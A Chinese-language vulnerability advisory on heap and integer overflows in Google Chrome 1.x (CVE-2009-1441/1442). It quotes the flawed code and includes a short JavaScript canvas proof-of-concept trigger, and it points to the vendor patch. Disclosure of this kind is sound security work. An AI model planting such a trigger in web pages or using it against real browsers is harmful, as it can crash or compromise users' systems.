Google Chrome多个缓冲区溢出漏洞
发布日期:2009-05-05
更新日期:2009-05-08
受影响系统:Google Chrome 1.x
不受影响系统:Google Chrome 1.0.154.64
描述:
BUGTRAQ ID:
34859
CVE(CAN) ID:
CVE-2009-1441,
CVE-2009-1442
Google Chrome是Google发布的开源WEB浏览器。
Chrome的bool ParamTraits<SkBitmap>::Read(const Message* m, void** iter, SkBitmap*函数在调用bmp_data->InitSkBitmapFromData(r, variable_data, variable_data_size)时存在堆溢出。|bmp_data|与|variable_data|必须彼此保持一致,但没有执行检查。也就是说:
memcpy(bitmap->getPixels(), pixels, total_pixels);
这里|pixels|和|total_pixels|是受控的数据。
此外skia\sgl\skmask.cpp!SkMask::computeImageSize中存在整数溢出漏洞,导致Chrome没有分配充分的数据内存。以下是有漏洞的代码段:
size_t SkMask::computeImageSize() const
{
return fBounds.height() * fRowBytes;
}
可见没有检查乘法的结果是否适合size_t。
<*来源:Mark Larson
链接:
http://secunia.com/advisories/35014/
http://code.google.com/p/chromium/issues/detail?id=10736
http://code.google.com/p/chromium/issues/detail?id=10869
http://googlechromereleases.blogspot.com/2009/05/stable-update-security-fix.html
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
<SCRIPT>
oCanvas=document.createElement("CANVAS");
o2dContext=oCanvas.getContext("2d");
o2dContext.transform(78,76,-6,0,-10000,9);
o2dContext.translate(-55,0);
o2dContext.rotate(1000);
o2dContext.shadowBlur=1000;
o2dContext.shadowOffsetX=1;
o2dContext.clearRect(1,5,48,-21);
</SCRIPT>
建议:
厂商补丁:
Google
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
http://www.google.com浏览次数:2658
严重程度:0(网友投票)